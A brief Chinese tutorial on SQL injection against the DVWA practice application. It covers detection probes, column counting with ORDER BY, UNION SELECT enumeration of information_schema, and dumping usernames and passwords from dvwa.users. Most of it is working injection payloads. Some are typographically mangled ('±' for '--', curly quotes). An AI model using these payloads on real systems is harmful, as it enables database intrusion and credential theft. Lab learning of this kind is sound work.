sql注入
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。网页链接存在参数传递,后台并没有对用户的输入进行过滤,导致用户的输入直接被SQL解释器执行。
sql注入
- 产生条件 ,①有参数传递;②参数值带入数据库查询并执行
- 注入类型:字符型和数字型;
- 字符型
Url 地址中输入 http://xxx/abc.php?id= x’ and ‘1’=’1 页面运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x’ and ‘1’=’2 页面运行错误,则说明此 Sql 注入为字符型注入。 - 数字型
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
判断字段长度
1’ order by 2 --’ //1’+order+by+2±-’
联合查询
1’ union select 1,2 --’ //1’+union+select+1,2±-’
PS:可配合相关查询函数 user(),database(),version()
查询数据库内容
1’ union select table_schema,table_name from information_schema.COLUMNS – ’
1’+union+select+table_schema,table_name+from+information_schema.columns±-+’
前提:获取当前数据库名和表名,这里可以利用数据库特性的:mysql数据库将所有数据库名和表名以及字段名会存储在information.schema库中的COLUMNS表,另外TABLES表也存储着数据库名和表名,但没有字段名。这里选用COLUMNS表,分别字段名为TABLE_SCHEMA存储着数据库名,TABLE_NAME存储着表名,COLUMN_NAME存储着字段名。
上面可以查询到相关库和表
下面针对指定库继续查询
1’ union select table_name,column_name from information_schema.COLUMNS where table_schema=database() – ’
1’+union+select+table_name,column_name+from+information_schema.columns+where+table_schema=database()±-+’
1’ union select table_name,column_name from information_schema.columns where table_schema=‘dvwa’ – ’
1’+union+select+table_name,column_name+from+information_schema.columns+where+table_schema=‘dvwa’±-+’
获取库名和表名后
1’ union select user,password from dvwa.users – ’
1’+union+select+user,password+from+dvwa.users±-+’